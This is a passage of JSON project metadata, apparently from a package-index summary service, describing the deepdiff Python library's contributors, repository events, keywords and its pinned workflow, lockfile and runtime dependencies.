"table":{"NONE":6}},"past_year_pull_request_author_associations_count":{"table":{"NONE":18,"CONTRIBUTOR":11,"MEMBER":2}},"past_year_issue_authors":{"table":{"alorence":1,"andrewVolodko":1,"clin1234":1,"danigm":1,"dpinol":1,"marcwrobel":1}},"past_year_pull_request_authors":{"table":{"dependabot[bot]":7,"akshat62":3,"gaoflow":3,"Sanjays2402":3,"Mukller":2,"seperman":2,"uttam12331":2,"ChrisJr404":1,"chuenchen309":1,"ckarnell":1,"even-even":1,"koriyoshi2041":1,"Labib-Bin-Salam":1,"mgorny":1,"patchwright":1,"SAY-5":1}},"maintainers":[{"table":{"login":"seperman","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/seperman"}}],"active_maintainers":[{"table":{"login":"seperman","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/seperman"}}]}},"events":{"total":{"CreateEvent":4,"DeleteEvent":4,"ForkEvent":1,"IssueCommentEvent":4,"IssuesEvent":2,"MemberEvent":1,"PullRequestEvent":2,"PushEvent":11,"WatchEvent":4},"last_year":{"CreateEvent":4,"DeleteEvent":4,"ForkEvent":1,"IssueCommentEvent":4,"IssuesEvent":2,"MemberEvent":1,"PullRequestEvent":2,"PushEvent":11,"WatchEvent":4}},"keywords":["comparison","deep-search","deepdiff","deephash","delta","diff","difference","distance","distance-calculation","hash","hashing","nested","python","reconstruction","recursive","repetition","report-repetition","tree"],"dependencies":[{"ecosystem":"actions","filepath":".github/workflows/main.yaml","sha":null,"kind":"manifest","created_at":"2023-01-13T21:19:58.413Z","updated_at":"2023-01-13T21:19:58.413Z","repository_link":"https://github.com/qlustered/deepdiff/blob/master/.github/workflows/main.yaml","dependencies":[{"id":6891518027,"package_name":"actions/checkout","ecosystem":"actions","requirements":"v2","direct":true,"kind":"composite","optional":false},{"id":6891518028,"package_name":"actions/setup-python","ecosystem":"actions","requirements":"v2","direct":true,"kind":"composite","optional":false},{"id":6891518029,"package_name":"actions/cache","ecosystem":"actions","requirements":"v2","direct":true,"kind":"composite","optional":false},{"id":6891518030,"package_name":"codecov/codecov-action","ecosystem":"actions","requirements":"v1","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"pypi","filepath":"uv.lock","sha":null,"kind":"lockfile","created_at":"2026-08-20T10:40:41.886Z","updated_at":"2026-08-20T10:40:41.886Z","repository_link":"https://github.com/qlustered/deepdiff/blob/master/uv.lock","dependencies":[{"id":26215231874,"package_name":"accessible-pygments","ecosystem":"pypi","requirements":"0.0.5","direct":false,"kind":"runtime","optional":false},{"id":26215231875,"package_name":"alabaster","ecosystem":"pypi","requirements":"1.0.0","direct":false,"kind":"runtime","optional":false},{"id":26215231876,"package_name":"annotated-types","ecosystem":"pypi","requirements":"0.7.0","direct":false,"kind":"runtime","optional":false},{"id":26215231877,"package_name":"argcomplete","ecosystem":"pypi","requirements":"3.6.3","direct":false,"kind":"runtime","optional":false},{"id":26215231878,"package_name":"asttokens","ecosystem":"pypi","requirements":"3.0.1","direct":false,"kind":"runtime","optional":false},{"id":26215231879,"package_name":"attrs","ecosystem":"pypi","requirements":"26.1.0","direct":false,"kind":"runtime","optional":false},{"id":26215231880,"package_name":"babel","ecosystem":"pypi","requirements":"2.18.0","direct":false,"kind":"runtime","optional":false},{"id":26215231881,"package_name":"beautifulsoup4","ecosystem":"pypi","requirements":"4.14.3","direct":false,"kind":"runtime","optional":false},{"id":26215231882,"package_name":"bump2version","ecosystem":"pypi","requirements":"1.0.1","direct":false,"kind":"runtime","optional":false},{"id":26215231883,"package_name":"cachebox","ecosystem":"pypi","requirements":"5.2.3","direct":false,"kind":"runtime","optional":false},{"id":26215231884,"package_name":"certifi","ecosystem":"pypi","requirements":"2026.4.22","direct":false,"kind":"runtime","optional":false},{"id":26215231885,"package_name":"charset-normalizer","ecosystem":"pypi","requirements":"3.4.7","direct":false,"kind":"runtime","optional":false},{"id":26215231886,"package_name":"click","ecosystem":"pypi","requirements":"8.3.3","direct":false,"kind":"runtime","optional":false},{"id":26215231887,"package_name":"colorama","ecosystem":"pypi","requirements":"0.4.6","direct":false,"kind":"runtime","optional":false},{"id":26215231888,"package_name":"colorlog","ecosystem":"pypi","requirements":"6.10.1","direct":false,"kind":"runtime","optional":false},{"id":26215231889,"package_name":"coverage","ecosystem":"pypi","requirements":"7.13.5","direct":false,"kind":"runtime","optional":false},{"id":26215231890,"package_name":"decorator","ecosystem":"pypi","requirements":"5.2.1","direct":false,"kind":"runtime","optional":false},{"id":26215231891,"package_name":"deepdiff","ecosystem":"pypi","requirements":"9.1.0","direct":false,"kind":"runtime","optional":false},{"id":26215231892,"package_name":"dependency-groups","ecosystem":"pypi","requirements":"1.3.1","direct":false,"kind":"runtime","optional":false},{"id":26215231893,"package_name":"distlib","ecosystem":"pypi","requirements":"0.4.0","direct":false,"kind":"runtime","optional":false},{"id":26215231894,"package_name":"docutils","ecosystem":"pypi","requirements":"0.21.2","direct":false,"kind":"runtime","optional":false},{"id":26215231895,"package_name":"exceptiongroup","ecosystem":"pypi","requirements":"1.3.1","direct":false,"kind":"runtime","optional":false},{"id":26215231896,"package_name":"executing","ecosystem":"pypi","requirements":"2.2.1","direct":false,"kind":"runtime","optional":false},{"id":26215231897,"package_name":"filelock","ecosystem":"pypi","requirements":"3.29.0","direct":false,"kind":"runtime","optional":false},{"id":26215231898,"package_name":"flake8","ecosystem":"pypi","requirements":"7.3.0","direct":false,"kind":"runtime","optional":false},{"id":26215231899,"package_name":"flake8-pyproject","ecosystem":"pypi","requirements":"1.2.4","direct":false,"kind":"runtime","optional":false},{"id":26215232180,"package_name":"flit-core","ecosystem":"pypi","requirements":"3.12.0","direct":false,"kind":"runtime","optional":false},{"id":26215232181,"package_name":"furo","ecosystem":"pypi","requirements":"2025.12.19","direct":false,"kind":"runtime","optional":false},{"id":26215232182,"package_name":"humanize","ecosystem":"pypi","requirements":"4.15.0","direct":false,"kind":"runtime","optional":false},{"id":26215232183,"package_name":"idna","ecosystem":"pypi","requirements":"3.15","direct":false,"kind":"runtime","optional":false},{"id":26215232184,"package_name":"imagesize","ecosystem":"pypi","requirements":"2.0.0","direct":false,"kind":"runtime","optional":false},{"id":26215232185,"package_name":"iniconfig","ecosystem":"pypi","requirements":"2.3.0","direct":false,"kind":"runtime","optional":false},{"id":26215232186,"package_name":"ipdb","ecosystem":"pypi","requirements":"0.13.13","direct":false,"kind":"runtime","optional":false},{"id":26215232187,"package_name":"ipython","ecosystem":"pypi","requirements":"8.39.0","direct":false,"kind":"runtime","optional":false},{"id":26215232188,"package_name":"ipython","ecosystem":"pypi","requirements":"9.13.0","direct":false,"kind":"runtime","optional":false},{"id":26215232189,"package_name":"ipython-pygments-lexers","ecosystem":"pypi","requirements":"1.1.1","direct":false,"kind":"runtime","optional":false},{"id":26215232190,"package_name":"jedi","ecosystem":"pypi","requirements":"0.20.0","direct":false,"kind":"runtime","optional":false},{"id":26215232191,"package_name":"jinja2","ecosystem":"pypi","requirements":"3.1.6","direct":false,"kind":"runtime","optional":false},{"id":26215232192,"package_name":"jsonpickle","ecosystem":"pypi","requirements":"4.1.1","direct":false,"kind":"runtime","optional":false},{"id":26215232193,"package_name":"markupsafe","ecosystem":"pypi","requirements":"3.0.3","direct":false,"kind":"runtime","optional":false},{"id":26215232194,"package_name":"matplotlib-inline","ecosystem":"pypi","requirements":"0.2.2","direct":false,"kind":"runtime","optional":false},{"id":26215232195,"package_name":"mccabe","ecosystem":"pypi","requirements":"0.7.0","direct":false,"kind":"runtime","optional":false},{"id":26215232196,"package_name":"nox","ecosystem":"pypi","requirements":"2026.2.9","direct":false,"kind":"runtime","optional":false},{"id":26215232256,"package_name":"numpy","ecosystem":"pypi","requirements":"2.2.6","direct":false,"kind":"runtime","optional":false},{"id":26215232257,"package_name":"numpy","ecosystem":"pypi","requirements":"2.4.4","direct":false,"kind":"runtime","optional":false},{"id":26215232258,"package_name":"orderly-set","ecosystem":"pypi","requirements":"5.5.0","direct":false,"kind":"runtime","optional":false},{"id":26215232259,"package_name":"orjson","ecosystem":"pypi","requirements":"3.11.9","direct":false,"kind":"runtime","optional":false},{"id":26215232260,"package_name":"packaging","ecosystem":"pypi","requirements":"26.2","direct":false,"kind":"runtime","optional":false},{"id":26215232261,"package_name":"pandas","ecosystem":"pypi","requirements":"2.2.3","direct":false,"kind":"runtime","optional":false},{"id":26215232262,"package_name":"pandas","ecosystem":"pypi","requirements":"3.0.3","direct":false,"kind":"runtime","optional":false},{"id":26215232263,"package_name":"parso","ecosystem":"pypi","requirements":"0.8.7","direct":false,"kind":"runtime","optional":false},{"id":26215232264,"package_name":"pexpect","ecosystem":"pypi","requirements":"4.9.0","direct":false,"kind":"runtime","optional":false},{"id":26215232265,"package_name":"platformdirs","ecosystem":"pypi","requirements":"4.9.6","direct":false,"kind":"runtime","optional":false},{"id":26215232266,"package_name":"pluggy","ecosystem":"pypi","requirements":"1.6.0","direct":false,"kind":"runtime","optional":false},{"id":26215232267,"package_name":"polars","ecosystem":"pypi","requirements":"1.39.3","direct":false,"kind":"runtime","optional":false},{"id":26215232268,"package_name":"polars-runtime-32","ecosystem":"pypi","requirements":"1.39.3","direct":false,"kind":"runtime","optional":false},{"id":26215232269,"package_name":"prompt-toolkit","ecosystem":"pypi","requirements":"3.0.52","direct":false,"kind":"runtime","optional":false},{"id":26215232270,"package_name":"psutil","ecosystem":"pypi","requirements":"7.2.2","direct":false,"kind":"runtime","optional":false},{"id":26215232271,"package_name":"ptyprocess","ecosystem":"pypi","requirements":"0.7.0","direct":false,"kind":"runtime","optional":false},{"id":26215232272,"package_name":"pure-eval","ecosystem":"pypi","requirements":"0.2.3","direct":false,"kind":"runtime","optional":false},{"id":26215232273,"package_name":"py-cpuinfo","ecosystem":"pypi","requirements":"9.0.0","direct":false,"kind":"runtime","optional":false},{"id":26215232274,"package_name":"pycodestyle","ecosystem":"pypi","requirements":"2.14.0","direct":false,"kind":"runtime","optional":false},{"id":26215232275,"package_name":"pydantic","ecosystem":"pypi","requirements":"2.12.5","direct":false,"kind":"runtime","optional":false},{"id":26215232276,"package_name":"pydantic-core","ecosystem":"pypi","requirements":"2.41.5","direct":false,"kind":"runtime","optional":false},{"id":26215232277,"package_name":"pyflakes","ecosystem":"pypi","requirements":"3.4.0","direct":false,"kind":"runtime","optional":false},{"id":26215232278,"package_name":"pygments","ecosystem":"pypi","requirements":"2.20.0","direct":false,"kind":"runtime","optional":false},{"id":26215232279,"package_name":"pytest","ecosystem":"pypi","requirements":"9.0.3","direct":false,"kind":"runtime","optional":false},{"id":26215232280,"package_name":"pytest-benchmark","ecosystem":"pypi","requirements":"5.2.3","direct":false,"kind":"runtime","optional":false},{"id":26215232281,"package_name":"pytest-cov","ecosystem":"pypi","requirements":"7.1.0","direct":false,"kind":"runtime","optional":false},{"id":26215232282,"package_name":"python-dateutil","ecosystem":"pypi","requirements":"2.9.0.post0","direct":false,"kind":"runtime","optional":false},{"id":26215232283,"package_name":"python-discovery","ecosystem":"pypi","requirements":"1.3.1","direct":false,"kind":"runtime","optional":false},{"id":26215232284,"package_name":"python-dotenv","ecosystem":"pypi","requirements":"1.2.2","direct":false,"kind":"runtime","optional":false},{"id":26215232285,"package_name":"pytz","ecosystem":"pypi","requirements":"2026.2","direct":false,"kind":"runtime","optional":false},{"id":26215232286,"package_name":"pyyaml","ecosystem":"pypi","requirements":"6.0.3","direct":false,"kind":"runtime","optional":false},{"id":26215232287,"package_name":"requests","ecosystem":"pypi","requirements":"2.34.2","direct":false,"kind":"runtime","optional":false},{"id":26215232288,"package_name":"six","ecosystem":"pypi","requirements":"1.17.0","direct":false,"kind":"runtime","optional":false},{"id":26215232289,"package_name":"snowballstemmer","ecosystem":"pypi","requirements":"3.0.1","direct":false,"kind":"runtime","optional":false},{"id":26215232290,"package_name":"soupsieve","ecosystem":"pypi","requirements":"2.8.3","direct":false,"kind":"runtime","optional":false},{"id":26215232291,"package_name":"sphinx","ecosystem":"pypi","requirements":"8.1.3","direct":false,"kind":"runtime","optional":false},{"id":26215232292,"package_name":"sphinx-basic-ng","ecosystem":"pypi","requirements":"1.0.0b2","direct":false,"kind":"runtime","optional":false},{"id":26215232293,"package_name":"sphinx-last-updated-by-git","ecosystem":"pypi","requirements":"0.3.8","direct":false,"kind":"runtime","optional":false},{"id":26215232294,"package_name":"sphinx-sitemap","ecosystem":"pypi","requirements":"2.9.0","direct":false,"kind":"runtime","optional":false},{"id":26215232295,"package_name":"sphinxcontrib-applehelp","ecosystem":"pypi","requirements":"2.0.0","direct":false,"kind":"runtime","optional":false},{"id":26215232296,"package_name":"sphinxcontrib-devhelp","ecosystem":"pypi","requirements":"2.0.0","direct":false,"kind":"runtime","optional":false},{"id":26215232297,"package_name":"sphinxcontrib-htmlhelp","ecosystem":"pypi","requirements":"2.1.0","direct":false,"kind":"runtime","optional":false},{"id":26215232298,"package_name":"sphinxcontrib-jsmath","ecosystem":"pypi","requirements":"1.0.1","direct":false,"kind":"runtime","optional":false},{"id":26215232299,"package_name":"sphinxcontrib-qthelp","ecosystem":"pypi","requirements":"2.0.0","direct":false,"kind":"runtime","optional":false},{"id":26215232300,"package_name":"sphinxcontrib-serializinghtml","ecosystem":"pypi","requirements":"2.0.0","direct":false,"kind":"runtime","optional":false},{"id":26215232301,"package_name":"sphinxemoji","ecosystem":"pypi","requirements":"0.3.2","direct":false,"kind":"runtime","optional":false},{"id":26215232446,"package_name":"stack-data","ecosystem":"pypi","requirements":"0.6.3","direct":false,"kind":"runtime","optional":false},{"id":26215232447,"package_name":"tomli","ecosystem":"pypi","requirements":"2.4.1","direct":false,"kind":"runtime","optional":false},{"id":26215232448,"package_name":"tomli-w","ecosystem":"pypi","requirements":"1.2.0","direct":false,"kind":"runtime","optional":false},{"id":26215232449,"package_name":"traitlets","ecosystem":"pypi","requirements":"5.15.0","direct":false,"kind":"runtime","optional":false},{"id":26215232450,"package_name":"typing-extensions","ecosystem":"pypi","requirements":"4.15.0","direct":false,"kind":"runtime","optional":false},{"id":26215232451,"package_name":"typing-inspection","ecosystem":"pypi","requirements":"0.4.2","direct":false,"kind":"runtime","optional":false},{"id":26215232452,"package_name":"tzdata","ecosystem":"pypi","requirements":"2026.2","direct":false,"kind":"runtime","optional":false},{"id":26215232453,"package_name":"urllib3","ecosystem":"pypi","requirements":"2.7.0","direct":false,"kind":"runtime","optional":false},{"id":26215232454,"package_name":"uuid6","ecosystem":"pypi","requirements":"2025.0.1","direct":false,"kind":"runtime","optional":false},{"id":26215232455,"package_name":"virtualenv","ecosystem":"pypi","requirements":"21.3.3","direct":false,"kind":"runtime","optional":false},{"id":26215232456,"package_name":"wcwidth","ecosystem":"pypi","requirements":"0.7.0","direct":false,"kind":"runtime","optional":false}]},{"ecosystem":"pypi","filepath":"pyproject.toml","sha":null,"kind":"manifest","created_at":"2026-08-20T10:40:41.721Z","updated_at":"2026-08-20T10:40:41.721Z","repository_link":"https://github.com/qlustered/deepdiff/blob/master/pyproject.toml","dependencies":[{"id":26215231866,"package_name":"cachebox","ecosystem":"pypi","requirements":"\u003e=5.2,\u003c6","direct":true,"kind":"runtime","optional":false},{"id":26215231867,"package_name":"orderly-set","ecosystem":"pypi","requirements":"\u003e=5.5.0,\u003c6","direct":true,"kind":"runtime","optional":false}]}],"score":33.150765445580824,"created_at":"2025-11-11T15:16:49.022Z","updated_at":"2026-08-24T12:31:14.385Z","avatar_url":"https://github.com/qlustered.png","language":"Python","codemeta":null,"publiccode":null,"project_url":"https://summary.ecosyste.ms/api/v1/projects/369284","html_url":"https://summary.ecosyste.ms/projects/369284"}